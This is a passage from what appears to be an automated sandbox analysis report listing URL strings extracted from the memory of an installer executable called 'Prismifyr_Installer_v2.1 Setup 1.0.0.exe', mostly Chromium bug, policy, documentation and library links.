Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.suitable.com
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.suitable.com/tools/smslib.html
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.suitable.com/tools/smslib.html>
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.unicode.org
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xmlsoft.org/XSLT/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xmlsoft.org/XSLT/namespace
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xmlsoft.org/XSLT/namespacehttp://www.jclark.com/xtxsl:key
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xmlsoft.org/XSLT/xsltNewExtDef
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://%s:%d/.well-known/masque/udp/%s/%d/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://%s:%d/.well-known/masque/udp/%s/%d/Net.QuicStreamFactory.DefaultNetworkMatchNet.QuicSession.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://android.com/pay
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://android.googlesource.com/platform/external/puffin
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000007014000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons.gcp.gvt2.com/domainreliability/upload
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons.gcp.gvt2.com/domainreliability/uploadhttps://beacons.gvt2.com/domainreliability/uplo
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000007014000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons.gvt2.com/domainreliability/upload
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000007014000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons2.gvt2.com/domainreliability/upload
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000007014000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons3.gvt2.com/domainreliability/upload
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000007014000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons4.gvt2.com/domainreliability/upload
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000007014000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons5.gvt2.com/domainreliability/upload
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000007014000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://beacons5.gvt3.com/domainreliability/upload
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bit.ly/audio-worklet)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bit.ly/audio-worklet)..
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://blog.chromium.org/2019/10/no-more-mixed-messages-about-https.html
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://blog.chromium.org/2019/10/no-more-mixed-messages-about-https.htmlMixed
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugs.chromium.org/p/gyp/issues/detail?id=530
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463019604.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=es&category=theme81https://myactivity.google.com/myactivity/?u
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463544080.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=fa&category=theme81https://myactivity.google.com/myactivity/?u
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463742634.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=fi&category=theme81https://myactivity.google.com/myactivity/?u
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2467364499.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=it&category=theme81https://myactivity.google.com/myactivity/?u
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471755683.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=sk&category=theme81https://myactivity.google.com/myactivity/?u
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463742634.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2467364499.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463019604.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473239852.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462501774.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2470963987.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462787961.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471213086.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherEnabled
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463742634.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2467364499.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463019604.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473239852.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462501774.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2470963987.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462787961.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471213086.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrl
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463742634.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2467364499.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463019604.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473239852.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462501774.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2470963987.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462787961.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471213086.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherExternalSitelistUrl
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463742634.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2467364499.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463019604.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473239852.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462501774.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2470963987.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462787961.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471213086.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUrlGreylist
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463742634.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2467364499.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463019604.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473239852.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462501774.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2470963987.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462787961.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471213086.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUrlList
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463742634.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2467364499.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463019604.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473239852.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462501774.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2470963987.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462787961.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471213086.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chromeenterprise.google/policies/#BrowserSwitcherUseIeSitelist
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://chromestatus.com/feature/5105856067141632.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463431471.000000000594C000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2461793535.0000000005944000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463742634.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2467364499.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463019604.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471755683.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463544080.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473239852.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462501774.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473941850.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462255144.0000000005946000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462787961.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471213086.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2461642034.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2472028493.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462894354.000000000594C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chromestatus.com/features#browsers.chrome.status%3A%22Deprecated%22
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270865746.0000000006B20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://chromium.googlesource.com/chromium/src/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://chromium.googlesource.com/external/github.com/intel/tinycbor.git
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://chromium.googlesource.com/vulkan-deps/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://chromium.googlesource.com/webm/libwebm
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000007014000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/domainreliability/upload
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=25916
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://code.google.com/p/gyp/issues/detail?id=411
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/1038223.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/1144908
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/1144908.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/1144908.The
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/1144908Changing
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/1429681
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/927119
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/927119..
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/981419
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://creativecommons.org/licenses/by/3.0/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://datatracker.ietf.org/doc/draft-ietf-rtcweb-ip-handling.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://developer.apple.com/download/more/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://developer.chrome.com/blog/enabling-shared-array-buffer/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://developer.chrome.com/blog/immutable-document-domain/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://developer.chrome.com/docs/extensions/mv3/cross-origin-isolation/.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://developer.chrome.com/docs/extensions/mv3/service_workers/events/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://developer.chrome.com/docs/extensions/mv3/service_workers/events/Script
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#Loose_equa
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify#The_
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://developers.google.com/android/guides/setup
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/2/library/subprocess.html:
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/2/library/tempfile.html#tempfile.mkstemp
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://download.developer.apple.com/Developer_Tools/Command_Line_Tools_for_Xcode_11.5/Command_Line_
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://encoding.spec.whatwg.org/#encode-and-enqueue-a-chunk
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://encoding.spec.whatwg.org/#encode-and-flush
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://example.org
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://example.orgExpired
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gist.github.com/XVilka/8346728#gistcomment-2823421
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gist.github.com/erichocean/5177582
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/BatikhSouri/node-cryptopp/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DennisOSRM/node-osrm)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/GoogleChrome/web-vitals
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/GoogleChromeLabs/text-fragments-polyfill
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/KhronosGroup/SPIRV-Headers
